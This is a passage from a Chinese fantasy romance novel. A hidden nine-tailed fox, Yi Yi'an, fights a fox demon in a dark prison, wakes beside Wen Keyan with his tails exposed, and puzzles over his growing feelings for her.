那之后,在与她相处的过程中,他渐渐得出了一些微妙结论。比如,每当文可烟露出古灵精怪、灵动俏皮的表情时,他心底那股闷闷的感受就会如冰雪遇暖阳般瞬间消散。 他心中也逐渐生出些许怪异之感,不仅仅是因为发闷的感觉消失得如此蹊跷,更是因为文可烟逐渐丰富、灵动起来的表情。 尽管表面上,文可烟依旧是一副云淡风轻的模样,对周遭的一切都抱着淡然无波的情绪,置身于尘世之外。可他能真切地感知到,感知到那看似平静的外表下,她皮下涌动着的细微情绪。 他看到,当白酒为了救她而深受重伤时,她原本淡漠的眼神中瞬间涌起了悲痛,眼中好似蓄着晶莹的泪花,下一秒就要夺眶而出。 那一刻,他知道了,她并非真的对一切都无动于衷。 她也会在他提出两月之约后,释放出一瞬欣喜。 他还发现,她也会害怕。 每次睡觉,她总是蜷缩在床榻的一角,睡得并不安稳。半夜,她会下意识地面向他的方向,身体微微蜷缩,就好像……就好像很害怕他会突然离开…… 而事情,开始变得再也没有转圜余地的,是他毫无保留地在她眼前露出了尾巴……还不止一次…… 那日半夜,依照惯例,又到了大长老“训练”他的日子。他身着一袭玄色劲装,身姿矫健,熟稔地来到暗牢。 暗牢中依旧弥漫着一股令人作呕的腐臭气息,他深吸一口气,强压下心底的情绪,抬脚踏入那片罪恶的区域。 可当他看清眼前的妖时,他的脑袋“嗡”地一下炸开了,眼前一阵天旋地转,记忆开始变得模糊起来。 羿逸安怎么也没想到他要面对的竟是一只狐妖。 妖族之中,是谁都好,可为何偏偏是狐狸? 狐尾在自身微弱的光亮下若隐若现,直直地刺进羿逸安的眼睛。倒映着狐狸尾巴的瞳孔骤然收缩,双手也不自觉地握紧成拳。 心中涌起一股复杂的情绪,如愤怒,如震惊,还有一丝连羿逸安自己都未曾察觉的慌乱与恐惧。 眼前一片混乱,各种声音交织在一起,狐妖尖锐的嘶吼声,兵器碰撞发出的刺耳铿锵声,各种他分辨不出来的声音…… 他不记得自己最后是如何行动的,只记得在那混乱的场景中,他凭借着深埋在心底从小训练出的本能以及长久的肌肉记忆,迅速而决绝地解决了战斗。 待一切尘埃落定,他只觉身心俱疲,满心都是想要逃离的冲动。 于是,他脚步稍显踉跄,像逃离一场永远醒不来的噩梦一般,匆匆离开了那片从小到大都觉得阴森可怖、无法适应的地方。 耳边,呼啸而过的风声似是命运的咆哮,肆意喧嚣着,他也看不清眼前的一切。 不知过了多久,浑身开始燥热难耐,热意如汹涌的潮水般不断翻涌。与此同时,身体却又像是被困在了一汪严寒刺骨的冰水之中,冷热交织,痛苦不堪,难耐至极。 按照之前的惯例,每次“训练”完后,羿逸安都会回到自己的寝殿,舒舒服服地泡个热水澡,洗去身上那令人作呕的血迹,然后好好地休息一番。 可不知为何,当他从那混沌的意识中悠悠转醒时,竟发现自己莫名其妙地躺在文可烟身旁。 清晨,第一缕阳光穿过薄纱般的窗帘,细细密密地洒落在文可烟的脸上。 柔和温馨的光晕似是带着对文可烟独有的温柔,将她细腻如羊脂玉般的肌肤映衬得愈发莹润,泛着淡淡的光晕。 长长的睫毛微微颤动,让羿逸安更加清晰地感受到眼前这一切的真实性。 文可烟睡得极为安稳,呼吸均匀而绵长,眉眼舒展,恬静面容下,泄露出些许积极情绪。外界的一切纷扰都与她无关,她就那样静静地、松弛地躺着,像一朵在静谧时光里悄然绽放的不惹凡尘的纯白花朵,纯净而美好。 而此刻的羿逸安,僵直地躺在那里,大气都不敢出,身体更是丝毫不 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九条毛茸茸的尾巴,似是感受到主人的情绪变化,原本兴奋地微微翘起的尾尖低了下来。只是,它们按捺不住心底的雀跃,昨晚它们似乎被文可烟“照顾”得很好,此刻在晨光的照耀下,闪烁着银白色的光芒,在空气中轻轻摇曳。 他……竟然露尾睡了一夜? 这可是他从未有过的疏忽,在文可烟面前又一次不受控地露出了尾巴。 这已经足够让他觉得难堪了,可,在她知晓了自己那么多秘密之后,他竟还未狠下心杀她,甚至还鬼使神差地,多次将九尾狐簪交到她手中。 他实在不理解自己为何会做出这么多有违常理的事情,就如同他参不透自己心中那些奇怪的情绪和感觉究竟从何而来。 那些举动,完全不受他理智的掌控,超出他认知范围以外了。 上次不小心在文可烟面前露尾巴的事,至今都像一根刺,扎在他的心里。他依旧被巨大的、陌生的刺激感受所笼罩,事后回去更是羞赧不已,整日都心神不宁,脑海里不断浮现出当时的场景。 可现下,居然又来了一回…… 对于九尾一族而言,尾巴是最隐秘的部位,承载着他们的力量与尊严。在他人面前展露尾巴,就好比人在大庭广众之下裸体一般,尴尬且私密到了极点。 上次可以说是偶然,是意外,那这次呢? 这次他的尾巴再次暴露在文可烟眼前时,按常理,他本该难为情到了极点。可与此同时,心底的感受却越发觉得古怪,那是一种从未有过的,像是心底有什么东西在悄然发芽,越来越不受控制。 所以,那晚之后的第一天,他鬼使神差地、步伐稍显迟疑地又来了。 羿逸安站在门前,双手不自觉地握紧又松开。他不知道自己为什么要来,或许只是想探寻这捉摸不透的莫名感受。又或许,是心底深处那股难以言说的渴望在作祟,驱使他再见她一面。 此时,夕阳透过窗户的缝隙洒在地上,形成一片片大小不一的金色光斑。 羿逸安走了进去,一抬眼,便看见文可烟整个人蜷缩在被子里,睡得很是香甜。 不知羿逸安在原地站了多久,文可烟终于悠悠转醒。